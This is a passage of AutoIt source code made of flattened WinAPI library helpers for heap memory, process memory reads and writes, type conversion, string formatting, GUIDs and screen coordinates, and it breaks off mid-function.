  2024. $pbuffer = __heaprealloc($pbuffer, $ilength, 0, $babort)
  2025. If @error Then Return SetError(@error, @extended, 0)
  2026. Return $pbuffer
  2027. EndFunc
  2028.  
  2029. Func _winapi_createbufferfromstruct($tstruct, $pbuffer = 0, $babort = True)
  2030. If NOT IsDllStruct($tstruct) Then Return SetError(1, 0, 0)
  2031. $pbuffer = __heaprealloc($pbuffer, DllStructGetSize($tstruct), 0, $babort)
  2032. If @error Then Return SetError(@error + 100, @extended, 0)
  2033. _winapi_movememory($pbuffer, $tstruct, DllStructGetSize($tstruct))
  2034. Return $pbuffer
  2035. EndFunc
  2036.  
  2037. Func _winapi_createstring($sstring, $pstring = 0, $ilength = -1, $bunicode = True, $babort = True)
  2038. $ilength = Number($ilength)
  2039. If $ilength >= 0 Then
  2040. $sstring = StringLeft($sstring, $ilength)
  2041. Else
  2042. $ilength = StringLen($sstring)
  2043. EndIf
  2044. Local $isize = $ilength + 1
  2045. If $bunicode Then
  2046. $isize *= 2
  2047. EndIf
  2048. $pstring = __heaprealloc($pstring, $isize, 0, $babort)
  2049. If @error Then Return SetError(@error, @extended, 0)
  2050. DllStructSetData(DllStructCreate(($bunicode ? "wchar" : "char") & "[" & ($ilength + 1) & "]", $pstring), 1, $sstring)
  2051. Return SetExtended($ilength, $pstring)
  2052. EndFunc
  2053.  
  2054. Func _winapi_equalmemory($psource1, $psource2, $ilength)
  2055. If _winapi_isbadreadptr($psource1, $ilength) Then Return SetError(11, @extended, 0)
  2056. If _winapi_isbadreadptr($psource2, $ilength) Then Return SetError(12, @extended, 0)
  2057. Local $aret = DllCall("ntdll.dll", "ulong_ptr", "RtlCompareMemory", "struct*", $psource1, "struct*", $psource2, "ulong_ptr", $ilength)
  2058. If @error Then Return SetError(@error, @extended, 0)
  2059. Return Number($aret[0] = $ilength)
  2060. EndFunc
  2061.  
  2062. Func _winapi_fillmemory($pmemory, $ilength, $ivalue = 0)
  2063. If _winapi_isbadwriteptr($pmemory, $ilength) Then Return SetError(11, @extended, 0)
  2064. DllCall("ntdll.dll", "none", "RtlFillMemory", "struct*", $pmemory, "ulong_ptr", $ilength, "byte", $ivalue)
  2065. If @error Then Return SetError(@error, @extended, 0)
  2066. Return 1
  2067. EndFunc
  2068.  
  2069. Func _winapi_freememory($pmemory)
  2070. If NOT __heapfree($pmemory, 1) Then Return SetError(@error, @extended, 0)
  2071. Return 1
  2072. EndFunc
  2073.  
  2074. Func _winapi_getmemorysize($pmemory)
  2075. Local $iresult = __heapsize($pmemory, 1)
  2076. If @error Then Return SetError(@error, @extended, 0)
  2077. Return $iresult
  2078. EndFunc
  2079.  
  2080. Func _winapi_globalmemorystatus()
  2081. Local Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
  2082. Local $tmem = DllStructCreate($tagmemorystatusex)
  2083. DllStructSetData($tmem, 1, DllStructGetSize($tmem))
  2084. Local $aret = DllCall("kernel32.dll", "bool", "GlobalMemoryStatusEx", "struct*", $tmem)
  2085. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2086. Local $amem[7]
  2087. $amem[0] = DllStructGetData($tmem, 2)
  2088. $amem[1] = DllStructGetData($tmem, 3)
  2089. $amem[2] = DllStructGetData($tmem, 4)
  2090. $amem[3] = DllStructGetData($tmem, 5)
  2091. $amem[4] = DllStructGetData($tmem, 6)
  2092. $amem[5] = DllStructGetData($tmem, 7)
  2093. $amem[6] = DllStructGetData($tmem, 8)
  2094. Return $amem
  2095. EndFunc
  2096.  
  2097. Func _winapi_isbadcodeptr($paddress)
  2098. Local $aret = DllCall("kernel32.dll", "bool", "IsBadCodePtr", "struct*", $paddress)
  2099. If @error Then Return SetError(@error, @extended, False)
  2100. Return $aret[0]
  2101. EndFunc
  2102.  
  2103. Func _winapi_isbadreadptr($paddress, $ilength)
  2104. Local $aret = DllCall("kernel32.dll", "bool", "IsBadReadPtr", "struct*", $paddress, "uint_ptr", $ilength)
  2105. If @error Then Return SetError(@error, @extended, False)
  2106. Return $aret[0]
  2107. EndFunc
  2108.  
  2109. Func _winapi_isbadstringptr($paddress, $ilength)
  2110. Local $aret = DllCall("kernel32.dll", "bool", "IsBadStringPtr", "struct*", $paddress, "uint_ptr", $ilength)
  2111. If @error Then Return SetError(@error, @extended, False)
  2112. Return $aret[0]
  2113. EndFunc
  2114.  
  2115. Func _winapi_isbadwriteptr($paddress, $ilength)
  2116. Local $aret = DllCall("kernel32.dll", "bool", "IsBadWritePtr", "struct*", $paddress, "uint_ptr", $ilength)
  2117. If @error Then Return SetError(@error, @extended, False)
  2118. Return $aret[0]
  2119. EndFunc
  2120.  
  2121. Func _winapi_ismemory($pmemory)
  2122. Local $bresult = __heapvalidate($pmemory)
  2123. Return SetError(@error, @extended, $bresult)
  2124. EndFunc
  2125.  
  2126. Func _winapi_localfree($hmemory)
  2127. Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmemory)
  2128. If @error Then Return SetError(@error, @extended, False)
  2129. Return $aresult[0]
  2130. EndFunc
  2131.  
  2132. Func _winapi_movememory($pdestination, $psource, $ilength)
  2133. If _winapi_isbadreadptr($psource, $ilength) Then Return SetError(10, @extended, 0)
  2134. If _winapi_isbadwriteptr($pdestination, $ilength) Then Return SetError(11, @extended, 0)
  2135. DllCall("ntdll.dll", "none", "RtlMoveMemory", "struct*", $pdestination, "struct*", $psource, "ulong_ptr", $ilength)
  2136. If @error Then Return SetError(@error, @extended, 0)
  2137. Return 1
  2138. EndFunc
  2139.  
  2140. Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
  2141. Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "struct*", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2142. If @error Then Return SetError(@error, @extended, False)
  2143. $iread = $aresult[5]
  2144. Return $aresult[0]
  2145. EndFunc
  2146.  
  2147. Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
  2148. Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2149. If @error Then Return SetError(@error, @extended, False)
  2150. $iwritten = $aresult[5]
  2151. Return $aresult[0]
  2152. EndFunc
  2153.  
  2154. Func _winapi_zeromemory($pmemory, $ilength)
  2155. If _winapi_isbadwriteptr($pmemory, $ilength) Then Return SetError(11, @extended, 0)
  2156. DllCall("ntdll.dll", "none", "RtlZeroMemory", "struct*", $pmemory, "ulong_ptr", $ilength)
  2157. If @error Then Return SetError(@error, @extended, 0)
  2158. Return 1
  2159. EndFunc
  2160.  
  2161. #EndRegion Public Functions
  2162. #Region Internal Functions
  2163.  
  2164. Func __heapalloc($isize, $babort = False)
  2165. Local $aret
  2166. If NOT $__g_hheap Then
  2167. $aret = DllCall("kernel32.dll", "handle", "HeapCreate", "dword", 0, "ulong_ptr", 0, "ulong_ptr", 0)
  2168. If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.")
  2169. $__g_hheap = $aret[0]
  2170. EndIf
  2171. $aret = DllCall("kernel32.dll", "ptr", "HeapAlloc", "handle", $__g_hheap, "dword", 8, "ulong_ptr", $isize)
  2172. If @error OR NOT $aret[0] Then
  2173. If $babort Then __fatalexit(1, "Error allocating memory.")
  2174. Return SetError(@error + 30, @extended, 0)
  2175. EndIf
  2176. Return $aret[0]
  2177. EndFunc
  2178.  
  2179. Func __heapfree(ByRef $pmemory, $bcheck = False, $icurerr = @error, $icurext = @extended)
  2180. If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0)
  2181. Local $aret = DllCall("kernel32.dll", "int", "HeapFree", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
  2182. If @error OR NOT $aret[0] Then Return SetError(@error + 40, @extended, 0)
  2183. $pmemory = 0
  2184. Return SetError($icurerr, $icurext, 1)
  2185. EndFunc
  2186.  
  2187. Func __heaprealloc($pmemory, $isize, $bamount = False, $babort = False)
  2188. Local $aret, $pret
  2189. If __heapvalidate($pmemory) Then
  2190. If $bamount AND (__heapsize($pmemory) >= $isize) Then Return SetExtended(1, Ptr($pmemory))
  2191. $aret = DllCall("kernel32.dll", "ptr", "HeapReAlloc", "handle", $__g_hheap, "dword", 8, "ptr", $pmemory, "ulong_ptr", $isize)
  2192. If @error OR NOT $aret[0] Then
  2193. If $babort Then __fatalexit(1, "Error allocating memory.")
  2194. Return SetError(@error + 20, @extended, Ptr($pmemory))
  2195. EndIf
  2196. $pret = $aret[0]
  2197. Else
  2198. $pret = __heapalloc($isize, $babort)
  2199. If @error Then Return SetError(@error, @extended, 0)
  2200. EndIf
  2201. Return $pret
  2202. EndFunc
  2203.  
  2204. Func __heapsize($pmemory, $bcheck = False)
  2205. If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0)
  2206. Local $aret = DllCall("kernel32.dll", "ulong_ptr", "HeapSize", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
  2207. If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error + 50, @extended, 0)
  2208. Return $aret[0]
  2209. EndFunc
  2210.  
  2211. Func __heapvalidate($pmemory)
  2212. If (NOT $__g_hheap) OR (NOT Ptr($pmemory)) Then Return SetError(9, 0, False)
  2213. Local $aret = DllCall("kernel32.dll", "int", "HeapValidate", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
  2214. If @error Then Return SetError(@error, @extended, False)
  2215. Return $aret[0]
  2216. EndFunc
  2217.  
  2218. #EndRegion Internal Functions
  2219. Global Const $snd_application = 128
  2220. Global Const $snd_alias = 65536
  2221. Global Const $snd_alias_id = 1114112
  2222. Global Const $snd_async = 1
  2223. Global Const $snd_filename = 131072
  2224. Global Const $snd_loop = 8
  2225. Global Const $snd_memory = 4
  2226. Global Const $snd_nodefault = 2
  2227. Global Const $snd_nostop = 16
  2228. Global Const $snd_nowait = 8192
  2229. Global Const $snd_purge = 64
  2230. Global Const $snd_resource = 262148
  2231. Global Const $snd_sentry = 524288
  2232. Global Const $snd_sync = 0
  2233. Global Const $snd_system = 2097152
  2234. Global Const $snd_system_nostop = 2097168
  2235. Global Const $snd_alias_systemasterisk = "SystemAsterisk"
  2236. Global Const $snd_alias_systemdefault = "SystemDefault"
  2237. Global Const $snd_alias_systemexclamation = "SystemExclamation"
  2238. Global Const $snd_alias_systemexit = "SystemExit"
  2239. Global Const $snd_alias_systemhand = "SystemHand"
  2240. Global Const $snd_alias_systemquestion = "SystemQuestion"
  2241. Global Const $snd_alias_systemstart = "SystemStart"
  2242. Global Const $snd_alias_systemwelcome = "SystemWelcome"
  2243. #Region Global Variables and Constants
  2244. #EndRegion Global Variables and Constants
  2245. #Region Functions list
  2246. #EndRegion Functions list
  2247. #Region Public Functions
  2248.  
  2249. Func _winapi_chartooem($sstr)
  2250. Local $aret = DllCall("user32.dll", "bool", "CharToOemW", "wstr", $sstr, "wstr", "")
  2251. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  2252. Return $aret[2]
  2253. EndFunc
  2254.  
  2255. Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
  2256. Local $aret = DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
  2257. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2258. Return $tpoint
  2259. EndFunc
  2260.  
  2261. Func _winapi_dwordtofloat($ivalue)
  2262. Local $tdword = DllStructCreate("dword")
  2263. Local $tfloat = DllStructCreate("float", DllStructGetPtr($tdword))
  2264. DllStructSetData($tdword, 1, $ivalue)
  2265. Return DllStructGetData($tfloat, 1)
  2266. EndFunc
  2267.  
  2268. Func _winapi_dwordtoint($ivalue)
  2269. Local $tdata = DllStructCreate("int")
  2270. DllStructSetData($tdata, 1, $ivalue)
  2271. Return DllStructGetData($tdata, 1)
  2272. EndFunc
  2273.  
  2274. Func _winapi_floattodword($ivalue)
  2275. Local $tfloat = DllStructCreate("float")
  2276. Local $tdword = DllStructCreate("dword", DllStructGetPtr($tfloat))
  2277. DllStructSetData($tfloat, 1, $ivalue)
  2278. Return DllStructGetData($tdword, 1)
  2279. EndFunc
  2280.  
  2281. Func _winapi_floattoint($nfloat)
  2282. Local $tfloat = DllStructCreate("float")
  2283. Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
  2284. DllStructSetData($tfloat, 1, $nfloat)
  2285. Return DllStructGetData($tint, 1)
  2286. EndFunc
  2287.  
  2288. Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
  2289. $ix = DllStructGetData($tpoint, "X")
  2290. $iy = DllStructGetData($tpoint, "Y")
  2291. EndFunc
  2292.  
  2293. Func _winapi_guidfromstring($sguid)
  2294. Local $tguid = DllStructCreate($tagguid)
  2295. _winapi_guidfromstringex($sguid, $tguid)
  2296. If @error Then Return SetError(@error + 10, @extended, 0)
  2297. Return $tguid
  2298. EndFunc
  2299.  
  2300. Func _winapi_guidfromstringex($sguid, $tguid)
  2301. Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $tguid)
  2302. If @error Then Return SetError(@error, @extended, False)
  2303. Return $aresult[0]
  2304. EndFunc
  2305.  
  2306. Func _winapi_hashdata($pmemory, $isize, $ilength = 32)
  2307. If ($ilength <= 0) OR ($ilength > 256) Then Return SetError(11, 0, 0)
  2308. Local $tdata = DllStructCreate("byte[" & $ilength & "]")
  2309. Local $aret = DllCall("shlwapi.dll", "uint", "HashData", "struct*", $pmemory, "dword", $isize, "struct*", $tdata, "dword", $ilength)
  2310. If @error Then Return SetError(@error, @extended, 0)
  2311. If $aret[0] Then Return SetError(10, $aret[0], 0)
  2312. Return DllStructGetData($tdata, 1)
  2313. EndFunc
  2314.  
  2315. Func _winapi_hashstring($sstring, $bcasesensitive = True, $ilength = 32)
  2316. Local $ilengths = StringLen($sstring)
  2317. If NOT $ilengths OR ($ilength > 256) Then Return SetError(12, 0, 0)
  2318. Local $tstring = DllStructCreate("wchar[" & ($ilengths + 1) & "]")
  2319. If NOT $bcasesensitive Then
  2320. $sstring = StringLower($sstring)
  2321. EndIf
  2322. DllStructSetData($tstring, 1, $sstring)
  2323. Local $shash = _winapi_hashdata($tstring, 2 * $ilengths, $ilength)
  2324. If @error Then Return SetError(@error, @extended, 0)
  2325. Return $shash
  2326. EndFunc
  2327.  
  2328. Func _winapi_hibyte($ivalue)
  2329. Return BitAND(BitShift($ivalue, 8), 255)
  2330. EndFunc
  2331.  
  2332. Func _winapi_hidword($ivalue)
  2333. Local $tint64 = DllStructCreate("int64")
  2334. Local $tqword = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  2335. DllStructSetData($tint64, 1, $ivalue)
  2336. Return DllStructGetData($tqword, 2)
  2337. EndFunc
  2338.  
  2339. Func _winapi_hiword($ilong)
  2340. Return BitShift($ilong, 16)
  2341. EndFunc
  2342.  
  2343. Func _winapi_inttodword($ivalue)
  2344. Local $tdata = DllStructCreate("dword")
  2345. DllStructSetData($tdata, 1, $ivalue)
  2346. Return DllStructGetData($tdata, 1)
  2347. EndFunc
  2348.  
  2349. Func _winapi_inttofloat($iint)
  2350. Local $tint = DllStructCreate("int")
  2351. Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
  2352. DllStructSetData($tint, 1, $iint)
  2353. Return DllStructGetData($tfloat, 1)
  2354. EndFunc
  2355.  
  2356. Func _winapi_lobyte($ivalue)
  2357. Return BitAND($ivalue, 255)
  2358. EndFunc
  2359.  
  2360. Func _winapi_lodword($ivalue)
  2361. Local $tint64 = DllStructCreate("int64")
  2362. Local $tqword = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  2363. DllStructSetData($tint64, 1, $ivalue)
  2364. Return DllStructGetData($tqword, 1)
  2365. EndFunc
  2366.  
  2367. Func _winapi_loword($ilong)
  2368. Return BitAND($ilong, 65535)
  2369. EndFunc
  2370.  
  2371. Func _winapi_longmid($ivalue, $istart, $icount)
  2372. Return BitAND(BitShift($ivalue, $istart), BitOR(BitShift(BitShift(2147483647, 32 - ($icount + 1)), 1), BitShift(1, -($icount - 1))))
  2373. EndFunc
  2374.  
  2375. Func _winapi_makelangid($ilngidprimary, $ilngidsub)
  2376. Return BitOR(BitShift($ilngidsub, -10), $ilngidprimary)
  2377. EndFunc
  2378.  
  2379. Func _winapi_makelcid($ilngid, $isortid)
  2380. Return BitOR(BitShift($isortid, -16), $ilngid)
  2381. EndFunc
  2382.  
  2383. Func _winapi_makelong($ilo, $ihi)
  2384. Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
  2385. EndFunc
  2386.  
  2387. Func _winapi_makeqword($ilodword, $ihidword)
  2388. Local $tint64 = DllStructCreate("uint64")
  2389. Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  2390. DllStructSetData($tdwords, 1, $ilodword)
  2391. DllStructSetData($tdwords, 2, $ihidword)
  2392. Return DllStructGetData($tint64, 1)
  2393. EndFunc
  2394.  
  2395. Func _winapi_makeword($ilo, $ihi)
  2396. Local $tword = DllStructCreate("ushort")
  2397. Local $tbyte = DllStructCreate("byte;byte", DllStructGetPtr($tword))
  2398. DllStructSetData($tbyte, 1, $ihi)
  2399. DllStructSetData($tbyte, 2, $ilo)
  2400. Return DllStructGetData($tword, 1)
  2401. EndFunc
  2402.  
  2403. Func _winapi_multibytetowidechar($vtext, $icodepage = 0, $iflags = 0, $bretstring = False)
  2404. Local $stexttype = "str"
  2405. If NOT IsString($vtext) Then $stexttype = "struct*"
  2406. Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "ptr", 0, "int", 0)
  2407. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  2408. Local $iout = $aresult[0]
  2409. Local $tout = DllStructCreate("wchar[" & $iout & "]")
  2410. $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "struct*", $tout, "int", $iout)
  2411. If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, 0)
  2412. If $bretstring Then Return DllStructGetData($tout, 1)
  2413. Return $tout
  2414. EndFunc
  2415.  
  2416. Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
  2417. Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
  2418. If @error Then Return SetError(@error, @extended, False)
  2419. Return $aresult[0]
  2420. EndFunc
  2421.  
  2422. Func _winapi_oemtochar($sstr)
  2423. Local $aret = DllCall("user32.dll", "bool", "OemToChar", "str", $sstr, "str", "")
  2424. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  2425. Return $aret[2]
  2426. EndFunc
  2427.  
  2428. Func _winapi_pointfromrect(ByRef $trect, $bcenter = True)
  2429. Local $ix1 = DllStructGetData($trect, "Left")
  2430. Local $iy1 = DllStructGetData($trect, "Top")
  2431. Local $ix2 = DllStructGetData($trect, "Right")
  2432. Local $iy2 = DllStructGetData($trect, "Bottom")
  2433. If $bcenter Then
  2434. $ix1 = $ix1 + (($ix2 - $ix1) / 2)
  2435. $iy1 = $iy1 + (($iy2 - $iy1) / 2)
  2436. EndIf
  2437. Local $tpoint = DllStructCreate($tagpoint)
  2438. DllStructSetData($tpoint, "X", $ix1)
  2439. DllStructSetData($tpoint, "Y", $iy1)
  2440. Return $tpoint
  2441. EndFunc
  2442.  
  2443. Func _winapi_primarylangid($ilngid)
  2444. Return BitAND($ilngid, 1023)
  2445. EndFunc
  2446.  
  2447. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
  2448. Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  2449. If @error Then Return SetError(@error, @extended, False)
  2450. Return $aresult[0]
  2451. EndFunc
  2452.  
  2453. Func _winapi_shorttoword($ivalue)
  2454. Return BitAND($ivalue, 65535)
  2455. EndFunc
  2456.  
  2457. Func _winapi_strformatbytesize($isize)
  2458. Local $aret = DllCall("shlwapi.dll", "ptr", "StrFormatByteSizeW", "int64", $isize, "wstr", "", "uint", 1024)
  2459. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  2460. Return $aret[2]
  2461. EndFunc
  2462.  
  2463. Func _winapi_strformatbytesizeex($isize)
  2464. Local $asymbol = DllCall("kernel32.dll", "int", "GetLocaleInfoW", "dword", 1024, "dword", 15, "wstr", "", "int", 2048)
  2465. If @error Then Return SetError(@error + 10, @extended, "")
  2466. Local $ssize = _winapi_strformatbytesize(0)
  2467. If @error Then Return SetError(@error, @extended, "")
  2468. Return StringReplace($ssize, "0", StringRegExpReplace(Number($isize), "(?<=\d)(?=(\d{3})+\z)", $asymbol[3]))
  2469. EndFunc
  2470.  
  2471. Func _winapi_strformatkbsize($isize)
  2472. Local $aret = DllCall("shlwapi.dll", "ptr", "StrFormatKBSizeW", "int64", $isize, "wstr", "", "uint", 1024)
  2473. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  2474. Return $aret[2]
  2475. EndFunc
  2476.  
  2477. Func _winapi_strfromtimeinterval($itime, $idigits = 7)
  2478. Local $aret = DllCall("shlwapi.dll", "int", "StrFromTimeIntervalW", "wstr", "", "uint", 1024, "dword", $itime, "int", $idigits)
  2479. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  2480. Return StringStripWS($aret[1], $str_stripleading + $str_striptrailing)
  2481. EndFunc
  2482.  
  2483. Func _winapi_stringfromguid($tguid)
  2484. Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 40)
  2485. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
  2486. Return SetExtended($aresult[0], $aresult[2])
  2487. EndFunc
  2488.  
  2489. Func _winapi_sublangid($ilngid)
  2490. Return BitShift($ilngid, 10)
  2491. EndFunc
  2492.  
  2493. Func _winapi_swapdword($ivalue)
  2494. Local $tstruct1 = DllStructCreate("dword;dword")
  2495. Local $tstruct2 = DllStructCreate("byte[4];byte[4]", DllStructGetPtr($tstruct1))
  2496. DllStructSetData($tstruct1, 1, $ivalue)
  2497. For $i = 1 To 4
  2498. DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 5 - $i), $i)
  2499. Next
  2500. Return DllStructGetData($tstruct1, 2)
  2501. EndFunc
  2502.  
  2503. Func _winapi_swapqword($ivalue)
  2504. Local $tstruct1 = DllStructCreate("int64;int64")
  2505. Local $tstruct2 = DllStructCreate("byte[8];byte[8]", DllStructGetPtr($tstruct1))
  2506. DllStructSetData($tstruct1, 1, $ivalue)
  2507. For $i = 1 To 8
  2508. DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 9 - $i), $i)
  2509. Next
  2510. Return DllStructGetData($tstruct1, 2)
  2511. EndFunc
  2512.  
  2513. Func _winapi_swapword($ivalue)
  2514. Local $tstruct1 = DllStructCreate("word;word")
  2515. Local $tstruct2 = DllStructCreate("byte[2];byte[2]", DllStructGetPtr($tstruct1))
  2516. DllStructSetData($tstruct1, 1, $ivalue)
  2517. For $i = 1 To 2
  2518. DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 3 - $i), $i)
  2519. Next
  2520. Return DllStructGetData($tstruct1, 2)
  2521. EndFunc
  2522.  
  2523. Func _winapi_widechartomultibyte($vunicode, $icodepage = 0, $bretnostruct = True, $bretbinary = False)
  2524. Local $sunicodetype = "wstr"
  2525. If NOT IsString($vunicode) Then $sunicodetype = "struct*"
  2526. Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  2527. If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, "")
  2528. Local $tmultibyte = DllStructCreate((($bretbinary) ? ("byte") : ("char")) & "[" & $aresult[0] & "]")
  2529. $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  2530. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  2531. If $bretnostruct Then Return DllStructGetData($tmultibyte, 1)
  2532. Return $tmultibyte
  2533. EndFunc
  2534.  
  2535. Func _winapi_wordtoshort($ivalue)
  2536. If BitAND($ivalue, 32768) Then
  2537. Return BitOR($ivalue, -32768)
  2538. EndIf
  2539. Return BitAND($ivalue, 32767)
  2540. EndFunc
  2541.  
  2542. #EndRegion Public Functions
  2543. #Region Global Variables and Constants
  2544. #EndRegion Global Variables and Constants
  2545. #Region Functions list
  2546. #EndRegion Functions list
  2547. #Region Public Functions
  2548.  
  2549. Func _winapi_arraytostruct(Const ByRef $adata, $istart = 0, $iend = -1)
  2550. If __checkerrorarraybounds($adata, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
  2551. Local $tagstruct = ""
  2552. For $i = $istart To $iend
  2553. $tagstruct &= "wchar[" & (StringLen($adata[$i]) + 1) & "];"
  2554. Next
  2555. Local $tdata = DllStructCreate($tagstruct & "wchar[1]")
  2556. Local $icount = 1
  2557. For $i = $istart To $iend
  2558. DllStructSetData($tdata, $icount, $adata[$i])
  2559. $icount += 1
  2560. Next
  2561. DllStructSetData($tdata, $icount, ChrW(0))
  2562. Return $tdata
  2563. EndFunc
  2564.  
  2565. Func _winapi_createmargins($ileftwidth, $irightwidth, $itopheight, $ibottomheight)
  2566. Local $tmargins = DllStructCreate($tagmargins)
  2567. DllStructSetData($tmargins, 1, $ileftwidth)
  2568. DllStructSetData($tmargins, 2, $irightwidth)
  2569. DllStructSetData($tmargins, 3, $itopheight)
  2570. DllStructSetData($tmargins, 4, $ibottomheight)
  2571. Return $tmargins
  2572. EndFunc
  2573.  
  2574. Func _winapi_createpoint($ix, $iy)
  2575. Local $tpoint = DllStructCreate($tagpoint)
  2576. DllStructSetData($tpoint, 1, $ix)
  2577. DllStructSetData($tpoint, 2, $iy)
  2578. Return $tpoint
  2579. EndFunc
  2580.  
  2581. Func _winapi_createrect($ileft, $itop, $iright, $ibottom)
  2582. Local $trect = DllStructCreate($tagrect)
  2583. DllStructSetData($trect, 1, $ileft)
  2584. DllStructSetData($trect, 2, $itop)
  2585. DllStructSetData($trect, 3, $iright)
  2586. DllStructSetData($trect, 4, $ibottom)
  2587. Return $trect
  2588. EndFunc
  2589.  
  2590. Func _winapi_createrectex($ix, $iy, $iwidth, $iheight)
  2591. Local $trect = DllStructCreate($tagrect)
  2592. DllStructSetData($trect, 1, $ix)
  2593. DllStructSetData($trect, 2, $iy)
  2594. DllStructSetData($trect, 3, $ix + $iwidth)
  2595. DllStructSetData($trect, 4, $iy + $iheight)
  2596. Return $trect
  2597. EndFunc
  2598.  
  2599. Func _winapi_createsize($iwidth, $iheight)
  2600. Local $tsize = DllStructCreate($tagsize)
  2601. DllStructSetData($tsize, 1, $iwidth)
  2602. DllStructSetData($tsize, 2, $iheight)
  2603. Return $tsize
  2604. EndFunc
  2605.  
  2606. Func _winapi_copystruct($tstruct, $sstruct = "")
  2607. Local $isize = DllStructGetSize($tstruct)
  2608. If NOT $isize Then Return SetError(1, 0, 0)
  2609. Local $tresult
  2610. If NOT StringStripWS($sstruct, $str_stripleading + $str_striptrailing + $str_stripspaces) Then
  2611. $tresult = DllStructCreate("byte[" & $isize & "]")
  2612. Else
  2613. $tresult = DllStructCreate($sstruct)
  2614. EndIf
  2615. If DllStructGetSize($tresult) < $isize Then Return SetError(2, 0, 0)
  2616. _winapi_movememory($tresult, $tstruct, $isize)
  2617. Return $tresult
  2618. EndFunc
  2619.  
  2620. Func _winapi_getextended()
  2621. Return $__g_vext
  2622. EndFunc
  2623.  
  2624. Func _winapi_getmousepos($btoclient = False, $hwnd = 0)
  2625. Local $imode = Opt("MouseCoordMode", 1)
  2626. Local $apos = MouseGetPos()
  2627. Opt("MouseCoordMode", $imode)
  2628. Local $tpoint = DllStructCreate($tagpoint)
  2629. DllStructSetData($tpoint, "X", $apos[0])
  2630. DllStructSetData($tpoint, "Y", $apos[1])
  2631. If $btoclient AND NOT _winapi_screentoclient($hwnd, $tpoint) Then Return SetError(@error + 20, @extended, 0)
  2632. Return $tpoint
  2633. EndFunc
  2634.  
  2635. Func _winapi_getmouseposx($btoclient = False, $hwnd = 0)
  2636. Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
  2637. If @error Then Return SetError(@error, @extended, 0)
  2638. Return DllStructGetData($tpoint, "X")
  2639. EndFunc
  2640.  
  2641. Func _winapi_getmouseposy($btoclient = False, $hwnd = 0)
  2642. Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
  2643. If @error Then Return SetError(@error, @extended, 0)
  2644. Return DllStructGetData($tpoint, "Y")
  2645. EndFunc
  2646.  
  2647. Func _winapi_muldiv($inumber, $inumerator, $idenominator)
